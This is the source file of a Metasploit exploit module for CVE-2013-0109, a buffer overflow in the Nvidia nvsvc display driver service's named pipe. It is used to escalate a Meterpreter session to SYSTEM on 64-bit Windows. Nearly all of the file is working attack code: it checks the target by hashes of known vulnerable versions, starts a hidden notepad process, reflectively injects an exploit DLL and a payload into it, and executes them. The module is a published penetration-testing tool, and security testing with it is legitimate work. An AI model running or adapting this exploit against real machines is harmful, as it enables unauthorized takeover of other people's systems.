metasploit-framework/modules/exploits/windows/local/nvidia_nvsvc.rb

170 lines
5.4 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/reflective_dll_injection'
require 'msf/core/post/windows/services'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Services
def initialize(info={})
super(update_info(info, {
'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',
'Description' => %q{
The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to
interact with the service. It contains a stacked based buffer overflow as a result
of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',
the service name is 'nvsvc', and the named pipe is 'nsvr'.
This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.
It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peter Wintersmith', # Original exploit
'Ben Campbell', # Metasploit integration
],
'Arch' => ARCH_X86_64,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows x64', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true,
'BadChars' => "\x00"
},
'References' =>
[
[ 'CVE', '2013-0109' ],
[ 'OSVDB', '88745' ],
[ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],
],
'DisclosureDate' => 'Dec 25 2012',
'DefaultTarget' => 0
}))
end
def check
vuln_hashes = [
'43f91595049de14c4b61d1e76436164f',
'3947ad5d03e6abcce037801162fdb90d',
'3341d2c91989bc87c3c0baa97c27253b'
]
os = sysinfo["OS"]
if os =~ /windows/i
svc = service_info 'nvsvc'
if svc and svc[:display] =~ /NVIDIA/i
vprint_good("Found service '#{svc[:display]}'")
begin
if is_running?
vprint_good("Service is running")
else
vprint_error("Service is not running!")
end
rescue RuntimeError => e
vprint_error("Unable to retrieve service status")
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /WOW64/i
path = svc[:path].gsub('"','').strip
path.gsub!("system32","sysnative")
else
path = svc[:path].gsub('"','').strip
end
begin
hash = client.fs.file.md5(path).unpack('H*').first
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error checking file hash: #{e}")
return Exploit::CheckCode::Detected
end
if vuln_hashes.include?(hash)
vprint_good("Hash '#{hash}' is listed as vulnerable")
return Exploit::CheckCode::Vulnerable
else
vprint_status("Hash '#{hash}' is not recorded as vulnerable")
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
end
def is_running?
begin
status = service_status('nvsvc')
return (status and status[:state] == 4)
rescue RuntimeError => e
print_error("Unable to retrieve service status")
return false
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
end
print_status("Launching notepad to host the exploit...")
windir = session.sys.config.getenv('windir')
cmd = "#{windir}\\SysWOW64\\notepad.exe"
process = client.sys.process.execute(cmd, nil, {'Hidden' => true})
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory,
"exploits",
"CVE-2013-0109",
"nvidia_nvsvc.x86.dll")
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(host_process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Payload injected. Executing exploit...")
host_process.thread.create(exploit_mem + offset, payload_mem)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
end